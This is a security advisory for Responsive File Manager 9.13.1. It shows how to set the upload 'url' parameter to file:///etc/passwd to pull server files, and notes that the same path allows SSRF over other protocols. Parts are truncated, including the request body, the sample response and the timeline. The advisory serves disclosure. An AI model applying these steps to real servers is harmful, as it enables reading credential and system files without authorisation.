Responsive File Manager 9.13.1 File Disclosure

Responsive File Manager 9.13.1 suffers from a file disclosure vulnerability.

MD5 | e6654d43dad5be76d71dc9d6bc5269d0

Responsive Filemanager v 9.13.1 [1]
Author: Silton Santos

=====[ Table of Contents ]===================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Overview ]===================================

* System affected : Responsive Filemanager
* Software Version : 9.13.1 (other versions may also be affected).
* Impact : Get sensitive files from the server.

=====[ Detailed description ]===================================

1. Submit an upload request via the "FROM URL" and intercept with any proxy;
2. Change the parameter "url" to file:///{server_files}, in this example,
the parameter "url" was changed to file:///etc/passwd;

POST /filemanager/upload.php HTTP/1.1
Host: www.[...]
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 27
Cookie: last_position=testess%2F; PHPSESSID=nl9pl5vthknvec92bji990krj0
Connection: close


3.Wait for the answer, if everything is ok, you'll get a response similar
to this:


4. Done, access the folder inserted in the "fldr" parameter and you can be
able to download the file from folder.

P.S:If the answer is similar to the following, possibly the user of the
service web, does not have permission on the file. If the size is equal to
0, the file may not exist.

{"files":[{"name":"passwd","size":1573,"type":null,"error":"Filetype not

=====[ Aggravating factors ]===================================

This functionality uses the input of the parameter "url" at the function
curl_exec. This function can be used by other protocols, like
smb,ftp,scp,telnet and others, impacting on a SSRF.

=====[ Timeline of disclosure ]===================================

07/17/2018 - Vulnerability reported to developer in two emails. (did not

=====[ References


Related Posts